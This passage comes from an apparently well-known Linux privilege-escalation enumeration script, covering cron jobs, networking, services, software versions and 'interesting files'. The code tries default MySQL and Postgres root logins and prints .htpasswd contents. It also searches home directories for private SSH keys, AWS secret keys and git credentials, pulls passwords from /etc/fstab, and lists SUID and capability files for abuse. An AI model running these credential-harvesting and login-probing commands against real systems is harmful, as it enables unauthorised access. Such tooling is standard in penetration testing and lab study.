Crontab contents:\e[00m\n$crontabvalue" 440 | echo -e "\n" 441 | fi 442 | 443 | crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` 444 | if [ "$crontabvar" ]; then 445 | echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" 446 | echo -e "\n" 447 | fi 448 | 449 | anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` 450 | if [ "$anacronjobs" ]; then 451 | echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" 452 | echo -e "\n" 453 | fi 454 | 455 | anacrontab=`ls -la /var/spool/anacron 2>/dev/null` 456 | if [ "$anacrontab" ]; then 457 | echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" 458 | echo -e "\n" 459 | fi 460 | 461 | #pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) 462 | cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null` 463 | if [ "$cronother" ]; then 464 | echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" 465 | echo -e "\n" 466 | fi 467 | 468 | # list systemd timers 469 | if [ "$thorough" = "1" ]; then 470 | # include inactive timers in thorough mode 471 | systemdtimers="$(systemctl list-timers --all 2>/dev/null)" 472 | info="" 473 | else 474 | systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)" 475 | # replace the info in the output with a hint towards thorough mode 476 | info="\e[2mEnable thorough tests to see inactive timers\e[00m" 477 | fi 478 | if [ "$systemdtimers" ]; then 479 | echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info" 480 | echo -e "\n" 481 | fi 482 | 483 | } 484 | 485 | networking_info() 486 | { 487 | echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" 488 | 489 | #nic information 490 | nicinfo=`/sbin/ifconfig -a 2>/dev/null` 491 | if [ "$nicinfo" ]; then 492 | echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" 493 | echo -e "\n" 494 | fi 495 | 496 | #nic information (using ip) 497 | nicinfoip=`/sbin/ip a 2>/dev/null` 498 | if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then 499 | echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" 500 | echo -e "\n" 501 | fi 502 | 503 | arpinfo=`arp -a 2>/dev/null` 504 | if [ "$arpinfo" ]; then 505 | echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" 506 | echo -e "\n" 507 | fi 508 | 509 | arpinfoip=`ip n 2>/dev/null` 510 | if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then 511 | echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" 512 | echo -e "\n" 513 | fi 514 | 515 | #dns settings 516 | nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null` 517 | if [ "$nsinfo" ]; then 518 | echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" 519 | echo -e "\n" 520 | fi 521 | 522 | nsinfosysd=`systemd-resolve --status 2>/dev/null` 523 | if [ "$nsinfosysd" ]; then 524 | echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" 525 | echo -e "\n" 526 | fi 527 | 528 | #default route configuration 529 | defroute=`route 2>/dev/null | grep default` 530 | if [ "$defroute" ]; then 531 | echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" 532 | echo -e "\n" 533 | fi 534 | 535 | #default route configuration 536 | defrouteip=`ip r 2>/dev/null | grep default` 537 | if [ ! "$defroute" ] && [ "$defrouteip" ]; then 538 | echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" 539 | echo -e "\n" 540 | fi 541 | 542 | #listening TCP 543 | tcpservs=`netstat -ntpl 2>/dev/null` 544 | if [ "$tcpservs" ]; then 545 | echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" 546 | echo -e "\n" 547 | fi 548 | 549 | tcpservsip=`ss -t -l -n 2>/dev/null` 550 | if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then 551 | echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" 552 | echo -e "\n" 553 | fi 554 | 555 | #listening UDP 556 | udpservs=`netstat -nupl 2>/dev/null` 557 | if [ "$udpservs" ]; then 558 | echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" 559 | echo -e "\n" 560 | fi 561 | 562 | udpservsip=`ss -u -l -n 2>/dev/null` 563 | if [ ! "$udpservs" ] && [ "$udpservsip" ]; then 564 | echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" 565 | echo -e "\n" 566 | fi 567 | } 568 | 569 | services_info() 570 | { 571 | echo -e "\e[00;33m### SERVICES #############################################\e[00m" 572 | 573 | #running processes 574 | psaux=`ps aux 2>/dev/null` 575 | if [ "$psaux" ]; then 576 | echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" 577 | echo -e "\n" 578 | fi 579 | 580 | #lookup process binary path and permissisons 581 | procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` 582 | if [ "$procperm" ]; then 583 | echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" 584 | echo -e "\n" 585 | fi 586 | 587 | if [ "$export" ] && [ "$procperm" ]; then 588 | procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` 589 | mkdir $format/ps-export/ 2>/dev/null 590 | for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null 591 | fi 592 | 593 | #anything 'useful' in inetd.conf 594 | inetdread=`cat /etc/inetd.conf 2>/dev/null` 595 | if [ "$inetdread" ]; then 596 | echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" 597 | echo -e "\n" 598 | fi 599 | 600 | if [ "$export" ] && [ "$inetdread" ]; then 601 | mkdir $format/etc-export/ 2>/dev/null 602 | cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null 603 | fi 604 | 605 | #very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each 606 | inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` 607 | if [ "$inetdbinperms" ]; then 608 | echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" 609 | echo -e "\n" 610 | fi 611 | 612 | xinetdread=`cat /etc/xinetd.conf 2>/dev/null` 613 | if [ "$xinetdread" ]; then 614 | echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" 615 | echo -e "\n" 616 | fi 617 | 618 | if [ "$export" ] && [ "$xinetdread" ]; then 619 | mkdir $format/etc-export/ 2>/dev/null 620 | cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null 621 | fi 622 | 623 | xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null` 624 | if [ "$xinetdincd" ]; then 625 | echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null 626 | echo -e "\n" 627 | fi 628 | 629 | #very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each 630 | xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` 631 | if [ "$xinetdbinperms" ]; then 632 | echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" 633 | echo -e "\n" 634 | fi 635 | 636 | initdread=`ls -la /etc/init.d 2>/dev/null` 637 | if [ "$initdread" ]; then 638 | echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" 639 | echo -e "\n" 640 | fi 641 | 642 | #init.d files NOT belonging to root! 643 | initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 644 | if [ "$initdperms" ]; then 645 | echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" 646 | echo -e "\n" 647 | fi 648 | 649 | rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` 650 | if [ "$rcdread" ]; then 651 | echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" 652 | echo -e "\n" 653 | fi 654 | 655 | #init.d files NOT belonging to root! 656 | rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 657 | if [ "$rcdperms" ]; then 658 | echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" 659 | echo -e "\n" 660 | fi 661 | 662 | usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` 663 | if [ "$usrrcdread" ]; then 664 | echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" 665 | echo -e "\n" 666 | fi 667 | 668 | #rc.d files NOT belonging to root! 669 | usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 670 | if [ "$usrrcdperms" ]; then 671 | echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" 672 | echo -e "\n" 673 | fi 674 | 675 | initread=`ls -la /etc/init/ 2>/dev/null` 676 | if [ "$initread" ]; then 677 | echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread" 678 | echo -e "\n" 679 | fi 680 | 681 | # upstart scripts not belonging to root 682 | initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 683 | if [ "$initperms" ]; then 684 | echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms" 685 | echo -e "\n" 686 | fi 687 | 688 | systemdread=`ls -lthR /lib/systemd/ 2>/dev/null` 689 | if [ "$systemdread" ]; then 690 | echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread" 691 | echo -e "\n" 692 | fi 693 | 694 | # systemd files not belonging to root 695 | systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 696 | if [ "$systemdperms" ]; then 697 | echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms" 698 | echo -e "\n" 699 | fi 700 | } 701 | 702 | software_configs() 703 | { 704 | echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" 705 | 706 | #sudo version - check to see if there are any known vulnerabilities with this 707 | sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` 708 | if [ "$sudover" ]; then 709 | echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" 710 | echo -e "\n" 711 | fi 712 | 713 | #mysql details - if installed 714 | mysqlver=`mysql --version 2>/dev/null` 715 | if [ "$mysqlver" ]; then 716 | echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" 717 | echo -e "\n" 718 | fi 719 | 720 | #checks to see if root/root will get us a connection 721 | mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` 722 | if [ "$mysqlconnect" ]; then 723 | echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" 724 | echo -e "\n" 725 | fi 726 | 727 | #mysql version details 728 | mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` 729 | if [ "$mysqlconnectnopass" ]; then 730 | echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" 731 | echo -e "\n" 732 | fi 733 | 734 | #postgres details - if installed 735 | postgver=`psql -V 2>/dev/null` 736 | if [ "$postgver" ]; then 737 | echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" 738 | echo -e "\n" 739 | fi 740 | 741 | #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this 742 | postcon1=`psql -U postgres -w template0 -c 'select version()' 2>/dev/null | grep version` 743 | if [ "$postcon1" ]; then 744 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 745 | echo -e "\n" 746 | fi 747 | 748 | postcon11=`psql -U postgres -w template1 -c 'select version()' 2>/dev/null | grep version` 749 | if [ "$postcon11" ]; then 750 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 751 | echo -e "\n" 752 | fi 753 | 754 | postcon2=`psql -U pgsql -w template0 -c 'select version()' 2>/dev/null | grep version` 755 | if [ "$postcon2" ]; then 756 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 757 | echo -e "\n" 758 | fi 759 | 760 | postcon22=`psql -U pgsql -w template1 -c 'select version()' 2>/dev/null | grep version` 761 | if [ "$postcon22" ]; then 762 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 763 | echo -e "\n" 764 | fi 765 | 766 | #apache details - if installed 767 | apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` 768 | if [ "$apachever" ]; then 769 | echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" 770 | echo -e "\n" 771 | fi 772 | 773 | #what account is apache running under 774 | apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` 775 | if [ "$apacheusr" ]; then 776 | echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" 777 | echo -e "\n" 778 | fi 779 | 780 | if [ "$export" ] && [ "$apacheusr" ]; then 781 | mkdir --parents $format/etc-export/apache2/ 2>/dev/null 782 | cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null 783 | fi 784 | 785 | #installed apache modules 786 | apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` 787 | if [ "$apachemodules" ]; then 788 | echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" 789 | echo -e "\n" 790 | fi 791 | 792 | #htpasswd check 793 | htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null` 794 | if [ "$htpasswd" ]; then 795 | echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd" 796 | echo -e "\n" 797 | fi 798 | 799 | #anything in the default http home dirs (a thorough only check as output can be large) 800 | if [ "$thorough" = "1" ]; then 801 | apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` 802 | if [ "$apachehomedirs" ]; then 803 | echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" 804 | echo -e "\n" 805 | fi 806 | fi 807 | 808 | } 809 | 810 | interesting_files() 811 | { 812 | echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" 813 | 814 | #checks to see if various files are installed 815 | echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null 816 | echo -e "\n" 817 | 818 | #limited search for installed compilers 819 | compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` 820 | if [ "$compiler" ]; then 821 | echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" 822 | echo -e "\n" 823 | fi 824 | 825 | #manual check - lists out sensitive files, can we read/modify etc. 826 | echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null 827 | echo -e "\n" 828 | 829 | #search for suid files 830 | allsuid=`find / -perm -4000 -type f 2>/dev/null` 831 | findsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` 832 | if [ "$findsuid" ]; then 833 | echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 834 | echo -e "\n" 835 | fi 836 | 837 | if [ "$export" ] && [ "$findsuid" ]; then 838 | mkdir $format/suid-files/ 2>/dev/null 839 | for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null 840 | fi 841 | 842 | #list of 'interesting' suid files - feel free to make additions 843 | intsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` 844 | if [ "$intsuid" ]; then 845 | echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 846 | echo -e "\n" 847 | fi 848 | 849 | #lists world-writable suid files 850 | wwsuid=`find $allsuid -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` 851 | if [ "$wwsuid" ]; then 852 | echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 853 | echo -e "\n" 854 | fi 855 | 856 | #lists world-writable suid files owned by root 857 | wwsuidrt=`find $allsuid -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` 858 | if [ "$wwsuidrt" ]; then 859 | echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 860 | echo -e "\n" 861 | fi 862 | 863 | #search for sgid files 864 | allsgid=`find / -perm -2000 -type f 2>/dev/null` 865 | findsgid=`find $allsgid -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` 866 | if [ "$findsgid" ]; then 867 | echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 868 | echo -e "\n" 869 | fi 870 | 871 | if [ "$export" ] && [ "$findsgid" ]; then 872 | mkdir $format/sgid-files/ 2>/dev/null 873 | for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null 874 | fi 875 | 876 | #list of 'interesting' sgid files 877 | intsgid=`find $allsgid -perm -2000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` 878 | if [ "$intsgid" ]; then 879 | echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 880 | echo -e "\n" 881 | fi 882 | 883 | #lists world-writable sgid files 884 | wwsgid=`find $allsgid -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` 885 | if [ "$wwsgid" ]; then 886 | echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 887 | echo -e "\n" 888 | fi 889 | 890 | #lists world-writable sgid files owned by root 891 | wwsgidrt=`find $allsgid -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` 892 | if [ "$wwsgidrt" ]; then 893 | echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 894 | echo -e "\n" 895 | fi 896 | 897 | #list all files with POSIX capabilities set along with there capabilities 898 | fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null` 899 | if [ "$fileswithcaps" ]; then 900 | echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps" 901 | echo -e "\n" 902 | fi 903 | 904 | if [ "$export" ] && [ "$fileswithcaps" ]; then 905 | mkdir $format/files_with_capabilities/ 2>/dev/null 906 | for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null 907 | fi 908 | 909 | #searches /etc/security/capability.conf for users associated capapilies 910 | userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null` 911 | if [ "$userswithcaps" ]; then 912 | echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps" 913 | echo -e "\n" 914 | fi 915 | 916 | if [ "$userswithcaps" ] ; then 917 | #matches the capabilities found associated with users with the current user 918 | matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null` 919 | if [ "$matchedcaps" ]; then 920 | echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps" 921 | echo -e "\n" 922 | #matches the files with capapbilities with capabilities associated with the current user 923 | matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null` 924 | if [ "$matchedfiles" ]; then 925 | echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles" 926 | echo -e "\n" 927 | #lists the permissions of the files having the same capabilies associated with the current user 928 | matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null` 929 | echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms" 930 | echo -e "\n" 931 | if [ "$matchedfilesperms" ]; then 932 | #checks if any of the files with same capabilities associated with the current user is writable 933 | writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null` 934 | if [ "$writablematchedfiles" ]; then 935 | echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles" 936 | echo -e "\n" 937 | fi 938 | fi 939 | fi 940 | fi 941 | fi 942 | 943 | #look for private keys - thanks djhohnstein 944 | if [ "$thorough" = "1" ]; then 945 | privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null` 946 | if [ "$privatekeyfiles" ]; then 947 | echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles" 948 | echo -e "\n" 949 | fi 950 | fi 951 | 952 | #look for AWS keys - thanks djhohnstein 953 | if [ "$thorough" = "1" ]; then 954 | awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null` 955 | if [ "$awskeyfiles" ]; then 956 | echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles" 957 | echo -e "\n" 958 | fi 959 | fi 960 | 961 | #look for git credential files - thanks djhohnstein 962 | if [ "$thorough" = "1" ]; then 963 | gitcredfiles=`find / -name ".git-credentials" 2>/dev/null` 964 | if [ "$gitcredfiles" ]; then 965 | echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles" 966 | echo -e "\n" 967 | fi 968 | fi 969 | 970 | #list all world-writable files excluding /proc and /sys 971 | if [ "$thorough" = "1" ]; then 972 | wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` 973 | if [ "$wwfiles" ]; then 974 | echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" 975 | echo -e "\n" 976 | fi 977 | fi 978 | 979 | if [ "$thorough" = "1" ]; then 980 | if [ "$export" ] && [ "$wwfiles" ]; then 981 | mkdir $format/ww-files/ 2>/dev/null 982 | for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null 983 | fi 984 | fi 985 | 986 | #are any .plan files accessible in /home (could contain useful information) 987 | usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 988 | if [ "$usrplan" ]; then 989 | echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" 990 | echo -e "\n" 991 | fi 992 | 993 | if [ "$export" ] && [ "$usrplan" ]; then 994 | mkdir $format/plan_files/ 2>/dev/null 995 | for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null 996 | fi 997 | 998 | bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 999 | if [ "$bsdusrplan" ]; then 1000 | echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" 1001 | echo -e "\n" 1002 | fi 1003 | 1004 | if [ "$export" ] && [ "$bsdusrplan" ]; then 1005 | mkdir $format/plan_files/ 2>/dev/null 1006 | for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null 1007 | fi 1008 | 1009 | #are there any .rhosts files accessible - these may allow us to login as another user etc. 1010 | rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1011 | if [ "$rhostsusr" ]; then 1012 | echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" 1013 | echo -e "\n" 1014 | fi 1015 | 1016 | if [ "$export" ] && [ "$rhostsusr" ]; then 1017 | mkdir $format/rhosts/ 2>/dev/null 1018 | for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null 1019 | fi 1020 | 1021 | bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1022 | if [ "$bsdrhostsusr" ]; then 1023 | echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" 1024 | echo -e "\n" 1025 | fi 1026 | 1027 | if [ "$export" ] && [ "$bsdrhostsusr" ]; then 1028 | mkdir $format/rhosts 2>/dev/null 1029 | for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null 1030 | fi 1031 | 1032 | rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1033 | if [ "$rhostssys" ]; then 1034 | echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" 1035 | echo -e "\n" 1036 | fi 1037 | 1038 | if [ "$export" ] && [ "$rhostssys" ]; then 1039 | mkdir $format/rhosts/ 2>/dev/null 1040 | for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null 1041 | fi 1042 | 1043 | #list nfs shares/permisisons etc. 1044 | nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` 1045 | if [ "$nfsexports" ]; then 1046 | echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" 1047 | echo -e "\n" 1048 | fi 1049 | 1050 | if [ "$export" ] && [ "$nfsexports" ]; then 1051 | mkdir $format/etc-export/ 2>/dev/null 1052 | cp /etc/exports $format/etc-export/exports 2>/dev/null 1053 | fi 1054 | 1055 | if [ "$thorough" = "1" ]; then 1056 | #phackt 1057 | #displaying /etc/fstab 1058 | fstab=`cat /etc/fstab 2>/dev/null` 1059 | if [ "$fstab" ]; then 1060 | echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m" 1061 | echo -e "$fstab" 1062 | echo -e "\n" 1063 | fi 1064 | fi 1065 | 1066 | #looking for credentials in /etc/fstab 1067 | fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` 1068 | if [ "$fstab" ]; then 1069 | echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" 1070 | echo -e "\n" 1071 | fi 1072 | 1073 | if [ "$export" ] && [ "$fstab" ]; then 1074 | mkdir $format/etc-exports/ 2>/dev/null 1075 | cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null 1076 | fi 1077 | 1078 | fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` 1079 | if [ "$fstabcred" ]; then 1080 | echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" 1081 | echo -e "\n" 1082 | fi 1083 | 1084 | if [ "$export" ] && [ "$fstabcred" ]; then 1085 | mkdir $format/etc-exports/ 2>/dev/null 1086 | cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null 1087 | fi 1088 | 1089 | #use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located 1090 | if [ "$keyword" = "" ]; then 1091 | echo -e "[-] Can't search *.conf files as no keyword was entered\n" 1092 | else 1093 | confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1094 | if [ "$confkey" ]; then 1095 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" 1096 | echo -e "\n" 1097 | else 1098 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" 1099 | echo -e "'$keyword' not found in any .conf files" 1100 | echo -e "\n" 1101 | fi 1102 | fi 1103 | 1104 | if [ "$keyword" = "" ]; then 1105 | : 1106 | else 1107 | if [ "$export" ] && [ "$confkey" ]; then 1108 | confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1109 | mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null 1110 | for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null 1111 | fi 1112 | fi 1113 | 1114 | #use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been 